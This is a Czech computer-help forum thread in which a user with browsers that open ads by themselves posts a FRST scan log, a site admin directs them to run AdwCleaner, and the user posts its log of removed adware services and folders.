2017-06-16 16:55 - 2017-05-12 17:58 - 01180160 _____ (Microsoft Corporation) C:\Windows\system32\FntCache.dll
2017-06-16 16:55 - 2017-05-10 17:33 - 00091368 _____ (Microsoft Corporation) C:\Windows\system32\MigAutoPlay.exe
2017-06-16 16:55 - 2017-05-10 17:29 - 03165184 _____ (Microsoft Corporation) C:\Windows\system32\wucltux.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 01867776 _____ (Microsoft Corporation) C:\Windows\system32\ExplorerFrame.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 00192512 _____ (Microsoft Corporation) C:\Windows\system32\wuwebv.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 00098816 _____ (Microsoft Corporation) C:\Windows\system32\wudriver.dll
2017-06-16 16:55 - 2017-05-10 17:28 - 00091136 _____ (Microsoft Corporation) C:\Windows\system32\WinSetupUI.dll
2017-06-16 16:55 - 2017-05-10 17:16 - 00091368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MigAutoPlay.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00709120 _____ (Microsoft Corporation) C:\Windows\system32\wuapi.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00140288 _____ (Microsoft Corporation) C:\Windows\system32\wuauclt.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00037888 _____ (Microsoft Corporation) C:\Windows\system32\wups2.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00037888 _____ (Microsoft Corporation) C:\Windows\system32\wuapp.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00036864 _____ (Microsoft Corporation) C:\Windows\system32\wups.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00012288 _____ (Microsoft Corporation) C:\Windows\system32\wu.upgrade.ps.dll
2017-06-16 16:55 - 2017-05-10 17:12 - 01499648 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ExplorerFrame.dll
2017-06-16 16:55 - 2017-05-10 17:12 - 00174080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuwebv.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00573440 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapi.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00093696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wudriver.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00035328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapp.exe
2017-06-16 16:55 - 2017-05-10 17:00 - 00030208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wups.dll
2017-06-16 16:55 - 2017-05-10 16:52 - 00117248 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\tdx.sys
2017-06-16 16:55 - 2017-05-09 17:29 - 00970240 _____ (Microsoft Corporation) C:\Windows\system32\localspl.dll
2017-06-16 16:55 - 2017-05-09 17:11 - 00497664 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32spl.dll
2017-06-16 16:55 - 2017-05-07 17:33 - 00094440 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mountmgr.sys
2017-06-16 16:55 - 2017-05-07 17:29 - 00011264 _____ (Microsoft Corporation) C:\Windows\system32\msmmsp.dll
2017-06-16 16:55 - 2017-03-30 17:03 - 00046080 _____ (Microsoft Corporation) C:\Windows\system32\rundll32.exe
2017-06-16 16:55 - 2017-03-30 16:58 - 00045056 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rundll32.exe
2017-06-01 17:13 - 2017-06-01 17:13 - 00001019 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Audacity.lnk
2017-06-01 17:13 - 2017-06-01 17:13 - 00001007 _____ C:\Users\Public\Desktop\Audacity.lnk
2017-06-01 17:10 - 2017-06-01 17:10 - 27113272 _____ (Audacity Team ) C:\Users\Uzivatel\Downloads\audacity-win-2.1.3.exe
2017-06-01 12:14 - 2017-07-01 21:15 - 00000000 ____D C:\Stuvatybugtain
2017-06-01 00:33 - 2017-06-01 17:07 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\TS3Client
2017-06-01 00:33 - 2017-06-01 00:33 - 00000000 ____D C:\Users\Uzivatel\.TeamSpeak 3
2017-06-01 00:30 - 2017-06-01 00:30 - 00000967 _____ C:\Users\Public\Desktop\TeamSpeak 3 Client.lnk
2017-06-01 00:30 - 2017-06-01 00:30 - 00000929 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamSpeak 3 Client.lnk
2017-06-01 00:30 - 2017-06-01 00:30 - 00000000 ____D C:\Program Files\TeamSpeak 3 Client
2017-06-01 00:28 - 2017-06-01 00:29 - 77604984 _____ (TeamSpeak Systems GmbH) C:\Users\Uzivatel\Downloads\TeamSpeak3-Client-win64-3.1.4.exe
==================== One Month Modified files and folders ========
(If an entry is included in the fixlist, the file/folder will be moved.)
2017-07-01 23:02 - 2013-04-21 00:04 - 00001042 ____H C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-07-01 23:01 - 2016-03-18 17:25 - 00042962 _____ C:\Users\Uzivatel\Desktop\FRST.txt
2017-07-01 23:01 - 2014-08-09 11:40 - 00000000 ____D C:\FRST
2017-07-01 22:51 - 2017-05-19 15:40 - 00002303 ____H C:\Users\Public\Desktop\Google Chrome.lnk
2017-07-01 22:51 - 2017-05-07 21:27 - 00002480 ____H C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2017-07-01 22:51 - 2014-09-15 19:54 - 00002058 ____H C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-07-01 22:51 - 2014-09-15 19:54 - 00001988 ____H C:\Users\Public\Desktop\Mozilla Firefox.lnk
2017-07-01 22:33 - 2016-03-18 17:24 - 00000000 ____D C:\Users\Uzivatel\Desktop\FRST-OlderVersion
2017-07-01 21:35 - 2010-04-23 14:49 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\Skype
2017-07-01 21:33 - 2009-07-14 06:45 - 00023392 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2017-07-01 21:33 - 2009-07-14 06:45 - 00023392 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2017-07-01 21:19 - 2013-05-31 21:42 - 00000350 _____ C:\Windows\Tasks\AVG-Secure-Search-Update_JUNE2013_TB_rmv.job
2017-07-01 21:19 - 2009-07-14 07:08 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2017-07-01 21:15 - 2017-05-27 17:22 - 00000000 ____D C:\Pipisy
2017-06-30 16:34 - 2017-03-16 18:43 - 00000000 ____D C:\Users\Uzivatel\AppData\LocalLow\Mozilla
2017-06-29 18:38 - 2010-09-18 13:27 - 00004829 _____ C:\Windows\wininit.ini
2017-06-29 17:43 - 2010-03-19 14:19 - 00000000 ____D C:\Program Files (x86)\Google
2017-06-29 16:29 - 2011-07-19 23:22 - 00000000 ____D C:\Windows\Minidump
2017-06-29 16:19 - 2017-05-09 10:13 - 00251832 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2017-06-29 16:19 - 2010-03-16 13:01 - 00000000 ____D C:\Users\Uzivatel
2017-06-29 16:07 - 2009-07-14 05:20 - 00000000 ___HD C:\Windows\system32\GroupPolicy
2017-06-29 16:06 - 2016-12-16 16:07 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PlaysTV
2017-06-29 16:06 - 2010-04-12 15:56 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TmUnitedForever
2017-06-24 14:29 - 2014-05-16 19:25 - 00000000 ____D C:\ProgramData\Bohemia Interactive
2017-06-17 19:39 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\rescache
2017-06-17 10:41 - 2009-07-14 06:45 - 05015264 _____ C:\Windows\system32\FNTCACHE.DAT
2017-06-17 10:36 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\SysWOW64\migwiz
2017-06-17 10:36 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\system32\migwiz
2017-06-17 02:22 - 2012-05-12 21:47 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight
2017-06-17 02:21 - 2017-03-16 23:25 - 00045472 _____ C:\Windows\SysWOW64\1
2017-06-17 02:21 - 2012-05-12 21:46 - 00000000 ____D C:\Program Files\Microsoft Silverlight
2017-06-17 02:21 - 2012-05-12 21:46 - 00000000 ____D C:\Program Files (x86)\Microsoft Silverlight
2017-06-17 02:20 - 2013-08-14 12:34 - 00000000 ____D C:\Windows\system32\MRT
2017-06-17 02:20 - 2009-11-16 16:40 - 133627792 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-06-16 17:27 - 2015-04-08 20:31 - 00000000 ____D C:\Users\DefaultAppPool
2017-06-16 17:27 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\inf
2017-06-16 17:27 - 2009-07-14 05:20 - 00000000 ____D C:\Program Files\Common Files\Microsoft Shared
2017-06-16 17:26 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\registration
2017-06-16 17:22 - 2012-04-01 10:05 - 00803328 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2017-06-16 17:22 - 2012-04-01 10:05 - 00004396 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-06-16 17:22 - 2011-05-29 20:46 - 00144896 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2017-06-16 17:22 - 2011-03-30 20:52 - 00000000 ____D C:\Windows\system32\Macromed
2017-06-16 17:22 - 2010-03-18 19:56 - 00000000 ____D C:\Windows\SysWOW64\Macromed
2017-06-11 17:17 - 2011-04-20 16:37 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\Audacity
2017-06-10 17:57 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\system32\NDF
2017-06-03 13:12 - 2017-03-16 18:28 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\WinSAPSvc
2017-06-02 14:55 - 2017-03-16 18:28 - 00003604 _____ C:\Windows\System32\Tasks\Milimili
2017-06-02 13:59 - 2017-05-31 11:31 - 00000000 ____D C:\Program Files (x86)\BJBMD
2017-06-02 12:43 - 2017-03-16 17:22 - 00000000 ____D C:\Program Files (x86)\Bihulegroqecult
2017-06-01 17:31 - 2010-04-06 19:43 - 00000000 ____D C:\Tomáš
2017-06-01 17:14 - 2014-01-04 21:23 - 00000000 ____D C:\Program Files (x86)\Audacity
2017-06-01 02:30 - 2010-04-12 15:57 - 00000000 ____D C:\Users\Uzivatel\Documents\TrackMania
2017-06-01 01:36 - 2010-06-19 15:49 - 00000000 ____D C:\ProgramData\TrackMania
2017-06-01 00:32 - 2013-08-17 20:39 - 00000000 ____D C:\ProgramData\Package Cache
==================== Files in the root of some directories =======
2013-10-16 17:00 - 2013-10-16 17:00 - 2384896 _____ (Waves Audio Ltd.) C:\Program Files\WaveShell-VST 9.2_x64.dll
2010-04-16 15:30 - 2009-09-01 13:06 - 4532736 _____ () C:\Program Files (x86)\autorun.dat
2010-04-16 15:30 - 2009-09-01 13:06 - 0413696 _____ (Electronic Arts) C:\Program Files (x86)\AutoRun.exe
2010-04-16 15:30 - 2009-09-01 13:06 - 0000143 _____ () C:\Program Files (x86)\autorun.inf
2010-04-16 15:30 - 2009-09-01 13:06 - 0030398 _____ () C:\Program Files (x86)\config.dat
2010-04-16 15:30 - 2009-09-01 13:06 - 0324880 _____ () C:\Program Files (x86)\dirtysock.dll
2010-04-16 15:30 - 2009-09-01 13:06 - 0423184 _____ (Electronic Arts) C:\Program Files (x86)\EASetup.exe
2010-04-16 15:30 - 2009-09-01 13:06 - 6829328 _____ () C:\Program Files (x86)\FIFA10Demo.exe
2010-04-16 15:30 - 2009-09-01 13:06 - 0105014 _____ () C:\Program Files (x86)\fifapc.ico
2010-04-16 15:30 - 2009-09-01 13:06 - 0374032 _____ () C:\Program Files (x86)\GDFBinary.dll
2009-07-07 06:57 - 2009-07-07 06:57 - 7065600 _____ () C:\Program Files (x86)\GUTF22C.tmp
2010-04-16 15:30 - 2009-09-01 13:06 - 0348160 _____ (Microsoft Corporation) C:\Program Files (x86)\msvcr71.dll
2010-04-16 15:30 - 2009-09-01 13:06 - 0544768 _____ (Microsoft Corporation) C:\Program Files (x86)\msvcr71d.dll
2010-04-12 16:14 - 2010-04-12 16:14 - 0405520 _____ () C:\Program Files (x86)\Neon Viper _2_.zip
2010-04-12 16:15 - 2010-04-12 16:15 - 4402143 _____ () C:\Program Files (x86)\Orange-Stripe_d.zip
2010-04-16 15:30 - 2009-09-01 13:06 - 0115976 _____ (Electronic Arts Inc.) C:\Program Files (x86)\Setup.exe
2013-10-16 17:00 - 2013-10-16 17:00 - 1732608 _____ (Waves Audio Ltd.) C:\Program Files (x86)\WaveShell-VST 9.2.dll
2011-02-23 18:04 - 2011-02-23 18:04 - 0000132 _____ () C:\Users\Uzivatel\AppData\Roaming\Adobe IllExport Filter CS5 Prefs
2015-03-26 20:39 - 2015-05-09 14:44 - 0000034 _____ () C:\Users\Uzivatel\AppData\Roaming\AdobeWLCMCache.dat
2012-05-18 20:37 - 2012-05-18 21:25 - 0000040 _____ () C:\Users\Uzivatel\AppData\Roaming\cdr.ini
2010-06-22 21:25 - 2010-06-25 19:25 - 0027996 _____ () C:\Users\Uzivatel\AppData\Roaming\OFMissionEditorConfig.xml
2017-06-29 16:12 - 2017-06-29 16:12 - 7307264 _____ () C:\Users\Uzivatel\AppData\Local\agent.dat
2017-05-03 16:37 - 2017-05-03 16:37 - 0000000 ____H () C:\Users\Uzivatel\AppData\Local\BIT8841.tmp
2017-06-29 16:12 - 2017-06-29 16:12 - 0070800 _____ () C:\Users\Uzivatel\AppData\Local\Config.xml
2011-04-01 18:01 - 2012-03-05 18:44 - 0011776 _____ () C:\Users\Uzivatel\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
2014-05-01 20:25 - 2014-05-01 20:25 - 0000096 _____ () C:\Users\Uzivatel\AppData\Local\fusioncache.dat
2017-06-29 16:10 - 2017-06-29 16:10 - 0278509 _____ () C:\Users\Uzivatel\AppData\Local\Indigois.bin
2017-06-29 16:08 - 2017-06-29 16:10 - 0016176 _____ () C:\Users\Uzivatel\AppData\Local\InstallationConfiguration.xml
2017-06-29 16:08 - 2017-06-29 16:08 - 0140800 _____ () C:\Users\Uzivatel\AppData\Local\installer.dat
2017-06-29 16:12 - 2017-06-29 16:12 - 0018432 _____ () C:\Users\Uzivatel\AppData\Local\Main.dat
2017-06-29 16:12 - 2017-06-29 16:12 - 0005568 _____ () C:\Users\Uzivatel\AppData\Local\md.xml
2014-08-09 13:02 - 2016-03-18 17:24 - 0029696 _____ () C:\Users\Uzivatel\AppData\Local\MSGBOX.EXE
2017-06-29 16:12 - 2017-06-29 16:12 - 0126464 _____ () C:\Users\Uzivatel\AppData\Local\noah.dat
2017-06-29 16:08 - 2017-06-29 16:34 - 1705984 _____ () C:\Users\Uzivatel\AppData\Local\po.db
2014-12-26 01:49 - 2014-12-26 01:49 - 0001514 _____ () C:\Users\Uzivatel\AppData\Local\recently-used.xbel
2017-06-29 16:12 - 2017-06-29 16:08 - 2465280 _____ (TODO: <Company name>) C:\Users\Uzivatel\AppData\Local\TampAir.exe
2017-06-29 16:12 - 2017-06-29 16:12 - 1896509 _____ () C:\Users\Uzivatel\AppData\Local\TampAir.tst
2015-05-23 10:33 - 2015-05-23 10:33 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{37A92A0F-2B17-4CD3-8217-2265EDDDBCAB}
2015-03-26 17:56 - 2015-03-26 17:56 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{44D51D47-FB94-4694-850C-88D151C843BB}
2015-09-03 17:44 - 2015-09-03 17:44 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{61C56E5E-31C3-4BDE-8BA8-B584EB0C0979}
2015-03-29 14:04 - 2015-03-29 14:04 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{77396AB5-657F-4477-86C7-3FC651644589}
2017-05-03 16:36 - 2017-05-03 16:36 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{8EF78EB9-E631-46EA-9659-7AAE4DC8C697}
2015-05-30 14:23 - 2015-05-30 14:23 - 0000000 _____ () C:\Users\Uzivatel\AppData\Local\{EB026816-3883-4F89-8C03-40A90D8A1629}
2017-07-01 21:20 - 2017-07-01 21:21 - 0000004 ____H () C:\ProgramData\cm-lock
2010-04-23 14:53 - 2010-04-23 14:53 - 0000056 ____H () C:\ProgramData\ezsidmv.dat
Files to move or delete:
====================
C:\Windows\Temp\00010362\conhost.exe
C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe
C:\Windows\Temp\00010320\msiql.exe
Some zero byte size files/folders:
==========================
C:\Windows\System32\dotnetfx.exe
==================== Bamital & volsnap =================
(There is no automatic fix for files that do not pass verification.)
C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe => File is digitally signed
C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\SysWOW64\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\dnsapi.dll => File is digitally signed
C:\Windows\SysWOW64\dnsapi.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed
LastRegBack: 2017-06-22 22:53
==================== End of FRST.txt ============================
Odvirování PC, zrychlení počítače, vzdálená pomoc prostřednictvím služby neslape.cz
Automatické otevírání prohlížečů a reklam
Moderátor: Moderátoři
Pravidla fóra
Pokud chcete pomoc, vložte log z FRST [návod zde] nebo RSIT [návod zde]
Jednotlivé thready budou po vyřešení uzamčeny. Stejně tak ty, které budou nečinné déle než 14 dní. Vizte Pravidlo o zamykání témat. Děkujeme za pochopení.
!NOVINKA!
Nově lze využívat služby vzdálené pomoci, kdy se k vašemu počítači připojí odborník a bližší informace o problému si od vás získá telefonicky! Více na www.neslape.cz
Pokud chcete pomoc, vložte log z FRST [návod zde] nebo RSIT [návod zde]
Jednotlivé thready budou po vyřešení uzamčeny. Stejně tak ty, které budou nečinné déle než 14 dní. Vizte Pravidlo o zamykání témat. Děkujeme za pochopení.
!NOVINKA!
Nově lze využívat služby vzdálené pomoci, kdy se k vašemu počítači připojí odborník a bližší informace o problému si od vás získá telefonicky! Více na www.neslape.cz
-
Rudy
- Site Admin
- Příspěvky: 118275
- Registrován: 30 říj 2003 13:42
- Bydliště: Plzeň
- Kontaktovat uživatele:
Re: Automatické otevírání prohlížečů a reklam
Zdravím!
Spusťte tuto utilitu:
Spusťte tuto utilitu:
Stáhněte AdwCleaner https://toolslib.net/downloads/viewdown ... dwcleaner/
Uložte na plochu
Ukončete všechny programy
Klikněte nejprve na >Scan<(hledání) a pak na >Clean< (mazání).
Proběhne skenováni a pak se objeví log, který sem vložte.
Dotazy a logy vkládejte pouze do vašich threadů. Soukromé zprávy, icq a e-maily neslouží k řešení vašich problémů.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Re: Automatické otevírání prohlížečů a reklam
Zdravím,
Adwcleaner mi ale bohužel nejde spustit. Píše to: tento program byl zablokován, aby byla zajištěna vaše ochrana. Pokoušel jsem se odstranit certifikát, který za toto nejspíše může. Jenže ani tohle není možné. Jak mám tedy dále postupovat?
Děkuji za odpověď
Adwcleaner mi ale bohužel nejde spustit. Píše to: tento program byl zablokován, aby byla zajištěna vaše ochrana. Pokoušel jsem se odstranit certifikát, který za toto nejspíše může. Jenže ani tohle není možné. Jak mám tedy dále postupovat?
Děkuji za odpověď
-
Rudy
- Site Admin
- Příspěvky: 118275
- Registrován: 30 říj 2003 13:42
- Bydliště: Plzeň
- Kontaktovat uživatele:
Re: Automatické otevírání prohlížečů a reklam
Zkuste stáhnout přes IE, případně vypněte antivir, nebo to, co ho blokuje. Bez toho to nevyčistíme.
Dotazy a logy vkládejte pouze do vašich threadů. Soukromé zprávy, icq a e-maily neslouží k řešení vašich problémů.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Re: Automatické otevírání prohlížečů a reklam
Zdravím,
nakonec se mi povedla provést kontrola. Přikládám log.
# AdwCleaner v6.047 - Log vytvořen 03/07/2017 v 10:38:30
# Aktualizováno dne 19/05/2017 z Malwarebytes
# Databáze : 2017-06-29.3 [Server]
# Operační systém : Windows 7 Home Premium Service Pack 1 (X64)
# Uživatelské jméno : Uzivatel - UZIVATEL-PC
# Spuštěno z : C:\Users\Uzivatel\Desktop\adwcleaner_6.047.exe
# Mod: Čištění
# Podpora : https://www.malwarebytes.com/support
***** [ Služby ] *****
[-] Služba smazána: BCUService
[-] Služba smazána: iSafeKrnlMon
[-] Služba smazána: FirefoxU
[-] Služba smazána: Nettrans
[-] Služba smazána: WinSAPSvc
[-] Služba smazána: ed2kidle
[-] Služba smazána: AMD
[-] Služba smazána: Kitty
[-] Služba smazána: AppleSrv
[-] Služba smazána: BIT
[-] Služba smazána: 3DM
[-] Služba smazána: WinAppSvr
[-] Služba smazána: glory
***** [ Složky ] *****
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\genienext
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Mobogenie
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\AdvinstAnalytics
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Hipmy
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\SNARER
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\ANSARE
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\3DM
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\background_fault
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Eggper
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\CWASRE
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\CSHMDR
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\terana
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Baglook
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\snare
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Canrain
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\Browser Tab Search by Ask
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\newnext.me
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Roaming\browser tab search by ask
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\WinSAPSvc
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\Microleaves
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\BrowserModule
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Roaming\BROWSERMODULE
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\WinSnare
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\Kyubey
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\UCChannel
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\SNARER
[-] Složka smazána: C:\Cosusp
[-] Složka smazána: C:\Alitkojck
[-] Složka smazána: C:\Insist
[-] Složka smazána: C:\Pipisy
[-] Složka smazána: C:\Stuvatybugtain
[-] Složka smazána: C:\ProgramData\apn
[-] Složka smazána: C:\ProgramData\SafetyNut
[-] Složka smazána: C:\ProgramData\Microleaves
[-] Složka smazána: C:\ProgramData\ICQ\ICQNewTab
[-] Složka smazána: C:\ProgramData\PrefsSecure
[#] Složka smazána po restartu: C:\ProgramData\Application Data\apn
[#] Složka smazána po restartu: C:\ProgramData\Application Data\SafetyNut
[#] Složka smazána po restartu: C:\ProgramData\Application Data\Microleaves
[#] Složka smazána po restartu: C:\ProgramData\Application Data\ICQ\ICQNewTab
[#] Složka smazána po restartu: C:\ProgramData\Application Data\PrefsSecure
[-] Složka smazána: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Lightspark 0.5.3-git
[-] Složka smazána: C:\Users\Public\Documents\XMUpdate
[-] Složka smazána: C:\Program Files (x86)\AmiExt
[-] Složka smazána: C:\Program Files (x86)\AVG\AVG10\Toolbar
[-] Složka smazána: C:\Program Files (x86)\DeviceVM
[-] Složka smazána: C:\Program Files (x86)\Lightspark 0.5.3-git
[-] Složka smazána: C:\Program Files (x86)\sitefinder
[-] Složka smazána: C:\Program Files (x86)\BikaQRss
[-] Složka smazána: C:\Program Files (x86)\deskapp
[-] Složka smazána: C:\Program Files (x86)\AlphaGo
[-] Složka smazána: C:\Program Files (x86)\Baglook
[-] Složka smazána: C:\Program Files (x86)\pchandller
[-] Složka smazána: C:\Program Files (x86)\AVBoost
[-] Složka smazána: C:\Program Files (x86)\Default Company Name
[-] Složka smazána: C:\Windows\Video Converter
[-] Složka smazána: C:\Windows\TEMP\apn
[-] Složka smazána: C:\Windows\TEMP\Smartbar
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\WinSnare
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Application Updater
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\AVG Secure Search
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\AVG Security Toolbar
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\BitTorrentBar
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\BS_Player
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Conduit
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\ConduitEngine
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\PriceGong
[-] Složka smazána: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Toolbar4
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\browsers
[-] Složka smazána: C:\Program Files (x86)\Firefox
[-] Složka smazána: C:\Windows\SysWOW64\SSL
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Roaming\WinSnare
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\SPI
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\Firefox
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Firefox
[-] Složka smazána: C:\Users\Uzivatel\AppData\Roaming\clean
[-] Složka smazána: C:\UPDATE\PSGO
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Local\SNARE
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\Kitty
[-] Složka smazána: C:\Windows\Update\psgo
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Roaming\BrowserModule
[-] Složka smazána: C:\ProgramData\BIT
[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Local\background_fault
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\clean
[-] Složka smazána: C:\Program Files (x86)\MK
[#] Složka smazána po restartu: C:\Insist
[#] Složka smazána po restartu: C:\Cosusp
[-] Složka smazána: C:\Users\Uzivatel\AppData\Local\glory
[-] Složka smazána: C:\Program Files (x86)\BJBMD
[#] Složka smazána po restartu: C:\Pipisy
